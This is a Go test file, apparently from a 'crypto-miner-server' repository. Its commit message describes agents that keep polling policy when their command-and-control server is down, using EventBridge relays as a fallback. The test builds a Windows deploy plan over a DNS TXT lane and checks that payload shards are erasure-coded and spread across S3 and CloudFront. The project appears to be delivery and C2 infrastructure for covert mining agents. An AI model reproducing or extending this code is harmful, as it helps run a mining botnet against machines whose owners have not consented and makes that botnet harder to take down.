Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
45 lines
1.4 KiB
Go
45 lines
1.4 KiB
Go
//go:build ignore
|
|
|
|
package api
|
|
|
|
import (
|
|
"context"
|
|
"crypto/rand"
|
|
"crypto/rsa"
|
|
"crypto/x509"
|
|
"encoding/pem"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/erasure"
|
|
)
|
|
|
|
type s3Up struct{ n int }
|
|
|
|
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
|
|
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
|
|
|
|
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
|
|
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
|
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
|
u := &s3Up{}
|
|
h := testDeployPlanHandler(t)
|
|
store := erasure.NewShardStore()
|
|
h.BindErasure(func() bool { return true }, store)
|
|
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
|
|
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
|
|
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
|
|
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
|
|
})
|
|
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
|
|
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
|
if err != nil {
|
|
t.Fatalf("buildPlan: %v", err)
|
|
}
|
|
if plan.ErasurePlan == nil {
|
|
t.Fatalf("missing erasure plan n=%d", u.n)
|
|
}
|
|
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
|
|
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
|
|
}
|
|
}
|